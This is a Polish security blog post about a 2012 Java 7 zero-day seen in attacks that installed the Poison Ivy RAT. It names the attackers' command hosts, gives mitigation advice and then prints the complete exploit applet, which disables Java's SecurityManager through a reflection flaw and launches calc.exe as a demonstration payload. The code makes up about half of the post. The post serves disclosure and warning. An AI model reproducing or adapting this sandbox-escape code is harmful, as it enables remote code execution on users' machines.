Dziurawa Java 7 – 0 day

0day na Javę 1.7

O atakach wykorzystujących nową, niezałataną jeszcze dziurę w Javie 1.7 poinformował FireEye w niedzielny wieczór. Zaobserwowane ataki prowadzą do instalacji trojana Poison Ivy RAT, który następnie łączy się z adresem

 hello.icon.pk  [223.25.233.244].

Exploit działa jedynie na Jave w wersji 1.7 Update od 0 do 6 (czyli posiadacze starszej wersji akurat tego exploita nie muszą się obawiać — co nie znaczy, że są bezpieczni, a downgrade Javy na pewno nie jest tu polecanym rozwiązaniem :>). Na chwilę obecną, exploit jest wykrywany przez 26/42 antywirusy.

Exploit na Javę 1.7

Exploit na Javę 1.7 działa na wielu systemach opracyjnych (od Windows 7 przez Linuksa do Win XP) i pod wieloma przeglądarkami (MSIE, Google Chrome, Firefox). Oznacza to, że w ciagu najbliższych dni ofiar ataku na Jave (ver. 1.7) może być coraz więcej, zwłaszcza, że już upubliczniono jego kod i zapewne za chwilę exploit pojawi się w większości tzw. exploit packów typu BlackHole. Pikanterii dodaje fakt, że Oracle najprawdopodobniej nie wyda patcha w ciągu najbliższych dni — zgodnie z planem następne łatki mają wydać dopiero w październiku (i praktycznie nigdy nie wychodzą z poprawkami out-of-cycle).

Jak się zabezpieczyć?

Rozwiązanie? Odinstaluj Javę (o ile jej nie potrzebujesz). A jeśli potrzebujesz Javy w systemie, to chociaż uaktywnij w swojej przegladarce internetowej funkcję “click to play“, która aktywuje daną wtyczę — czy to Flash czy Javę — ale dopiero w momencie kliknięcia w wyświetlaną przez przeglądarkę zaślepkę.

Kod exploita

//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
// 
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}

Leave a comment